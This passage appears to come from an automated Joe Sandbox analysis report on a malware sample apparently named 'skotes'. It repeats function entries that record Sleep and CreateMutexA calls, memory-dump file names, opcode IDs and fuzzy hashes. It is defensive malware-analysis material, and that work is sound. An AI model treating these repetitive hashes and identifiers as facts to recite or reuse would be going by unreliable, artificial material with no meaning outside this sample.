Instruction Fuzzy Hash: 60E08C30041108AFCF3ABB19C84DA883B2AEF42745F401809F80C8A226CB35ED91D682

Function 00619BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 22c502b73e9d555cddbb6189e9f3d8d3d87aea878192423b6db85887ea81d564
Instruction ID: 00348f4bb59a2ff93353974a5f500bc14b761d6508fbd147a383974b9d1461b9
Opcode Fuzzy Hash: 22c502b73e9d555cddbb6189e9f3d8d3d87aea878192423b6db85887ea81d564
Instruction Fuzzy Hash: 1A3118317152448BEB08EB78EC997EEB763EB85310F28865DE058973E6C7758AC08761

Function 00619F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: da3bf461caf1388d1a66a96bcd9ee2f246066553c2b5b987756a87cf6016c8c7
Instruction ID: 3bb485989e987e5d9bf4b7589a530884e58d87bd7c0a9dcf07f523da97056df5
Opcode Fuzzy Hash: da3bf461caf1388d1a66a96bcd9ee2f246066553c2b5b987756a87cf6016c8c7
Instruction Fuzzy Hash: 1A3126317111009BEB08ABB8DC897EDB763EB89310F28865DE018DB3D5C73589C18762

Function 0061A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 6e69a56428bbfeb4623180276eacef70c0455e6c6bc3a1bb54346f1443127f0e
Instruction ID: 00ba1fc55c305f709cb1401ac39e062665931936c1d2cfaec7915f8318c7912c
Opcode Fuzzy Hash: 6e69a56428bbfeb4623180276eacef70c0455e6c6bc3a1bb54346f1443127f0e
Instruction Fuzzy Hash: E0312831B121409BEB08DBB8DD897EDB763DF85310F28865DE018973D5C77599C08766

Function 0061A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 78855bdcd68de870490af14873539082b7b883ecbeaac1e74c20f61e83faa1c6
Instruction ID: e5c2392c98c617e40e207916b6c30bd47e4141a0e28f9c321656528af7a29214
Opcode Fuzzy Hash: 78855bdcd68de870490af14873539082b7b883ecbeaac1e74c20f61e83faa1c6
Instruction Fuzzy Hash: FE311831B121409BEB08DBB8DC897EDB763EF86310F28465DE058973E5D7758AC08766

Function 0061A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000003.00000002.2217401983.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000003.00000002.2217382213.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217401983.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217471342.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217494512.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217517089.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217535783.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217555553.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217698261.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217726300.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217838870.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217855325.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217870020.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217885416.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217904758.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217921231.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217940900.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217957353.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2217985260.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218005496.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218023458.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218044784.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218063307.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218081019.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218100615.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218126040.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218143211.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218195045.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218212854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218231433.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218247857.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218266230.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218283725.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218301395.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218318236.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218334603.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218349887.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218366314.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218391107.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218408668.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218447246.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218470005.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218486844.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218502306.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218518931.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218540352.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2218558347.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: 7365b70b3a599562db5e86d4e4dab703cedf7a7a93c3bc81e1cf05b7149658c3
Instruction ID: eddfc15d1beeb090e33a62bb9d6302b8696c92bb710743bf4e333bdf457939c8
